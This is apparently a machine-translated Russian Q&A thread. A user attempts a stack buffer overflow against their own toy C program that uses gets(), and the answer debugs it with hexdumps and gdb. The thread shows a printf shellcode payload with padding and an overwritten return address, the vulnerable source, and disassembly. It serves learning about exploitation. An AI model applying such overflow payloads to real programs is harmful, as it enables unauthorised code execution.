Спецификатор шестнадцатеричного формата, выдающий непредсказуемые результаты в шеллкоде
Я пытаюсь внедрить шелл-код в основную программу, которую я сделал, которая принимает пользовательский ввод. Моя проблема в том, что, хотя я правильно выстроил свой шелл-код, чтобы я мог переписать адрес возврата в стеке, правильный адрес не сохраняется в этом месте. Я сделал printf своего шеллкода, затем вычислил заполнение, а затем адрес, где мой шеллкод будет расположен в стеке.
$ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41
\x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80
\xf4%025x\x5e\xf3\xff\xbf" | ./victim
Адрес, по которому я пытаюсь перезаписать адрес возврата, - 0xbffff35e. Тем не менее, когда я запускаю его в gdb, он вызывает ошибки, потому что часть 5e неправильно кодируется в мой стек.
Я получаю это в GDB:
Program terminated with signal 11, Segmentation fault.
#0 0xbffff365 in ?? ()
Моя программа должна выполнять инструкции в 0xbffff35e, но она пишется с "65" вместо того, где должен быть байт "5e". Я правильно использую спецификатор шестнадцатеричного формата, так почему это происходит? Кажется, что каждый второй байт записан правильно, кроме шестнадцатеричного байта \x5e
РЕДАКТИРОВАТЬ: Вот код моей жертвы. Все, что я хочу сделать, это ввести шелл-код, чтобы он печатал "ПРИНЯТО" вместо перехода на следующую строку, где печатается "ОТКАЗ"
void getPass() {
char password[50];
gets(password);
}
int main() {
printf("Please enter your password: \n");
getPass();
printf("PASSWORD DENIED\n");
return 0;
}
Разборка кода моей жертвы
(gdb) disas getPass
Dump of assembler code for function getPass:
0x080482bc <+0>: push %ebp
0x080482bd <+1>: mov %esp,%ebp
0x080482bf <+3>: sub $0x58,%esp
0x080482c2 <+6>: lea -0x3a(%ebp),%eax
0x080482c5 <+9>: mov %eax,(%esp)
0x080482c8 <+12>: call 0x8049370 <gets>
0x080482cd <+17>: leave
0x080482ce <+18>: ret
(gdb) disas main
Dump of assembler code for function main:
0x080482cf <+0>: push %ebp
0x080482d0 <+1>: mov %esp,%ebp
0x080482d2 <+3>: and $0xfffffff0,%esp
0x080482d5 <+6>: sub $0x10,%esp
0x080482d8 <+9>: movl $0x80b314c,(%esp)
0x080482df <+16>: call 0x8049510 <puts>
0x080482e4 <+21>: call 0x80482bc <getPass>
0x080482e9 <+26>: movl $0x80b3169,(%esp)
0x080482f0 <+33>: call 0x8049510 <puts>
0x080482f5 <+38>: mov $0x0,%eax
0x080482fa <+43>: leave
0x080482fb <+44>: ret
1 ответ
Выход этого printf
[wally@lenovoR61 ~]$ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41\x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80\xf4%025x\x5e\xf3\xff\xbf" \
> | hexdump -C
00000000 e8 09 00 00 00 41 43 43 45 50 54 45 44 6e 59 c6 |.....ACCEPTEDnY.|
00000010 41 08 00 ba 08 00 00 00 bb 01 00 00 00 b8 04 00 |A...............|
00000020 00 00 0c 80 f4 30 30 30 30 30 30 30 30 30 30 30 |.....00000000000|
00000030 30 30 30 30 30 30 30 30 30 30 30 30 30 30 5e f3 |00000000000000^.|
00000040 ff bf |..|
00000042
Итак, начиная с байта 50, есть это:
00000032 30 30 30 30 30 30 30 30 30 30 30 30 5e f3 | 000000000000^.|
00000040 ff bf |..|
00000042
Так что есть куча 30
где сохранены ebp
и обратный адрес должен быть. Инструкции для getPass():
getPass:
pushl %ebp
movl %esp, %ebp
subl $88, %esp
leal -58(%ebp), %eax
movl %eax, (%esp)
call gets
leave
ret
Так leave
меняет "восстановленный" ebp
0x30303030, так как эта часть стека была перезаписана. Адрес возврата ниже 0x30303030, по крайней мере, в 32-битном коде x86.
Я ожидаю, что это всегда будет segfault, даже на SELinux.
Приложение:
Ну, мне кажется, нужный адрес мне подходит. Чтобы настроить это так gdb
можно просмотреть кадр стека, я записал данные в файл и изменил victim.c
читать вместо этого:
$ printf "\xe8\x09\x00\x00\x00\x41\x43\x43\x45\x50\x54\x45\x44\x6e\x59\xc6\x41\x08\x00\xba\x08\x00\x00\x00\xbb\x01\x00\x00\x00\xb8\x04\x00\x00\x00\xc\x80\xf4%025x\x5e\xf3\xff\xbf" \
> >victim.txt
$ cat victim.c
#include <stdio.h>
void getPass()
{
char password[50];
gets(password);
}
int main()
{
FILE *f = freopen ("victim.txt", "r", stdin);
printf("Please enter your password: \n");
getPass();
printf("PASSWORD DENIED\n");
return 0;
}
$ gdb victim
...
Temporary breakpoint 1, main () at victim.c:12
12 FILE *f = freopen ("victim.txt", "r", stdin);
(gdb) next
13 printf("Please enter your password: \n");
(gdb)
Please enter your password:
14 getPass();
(gdb) step
getPass () at victim.c:6
6 gets(password);
(gdb) bt
#0 getPass () at victim.c:7
#1 0xbffff35e in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) step
Cannot access memory at address 0x30303034
Что показывает, что он возвращается к 0x30303030. Что вы получаете?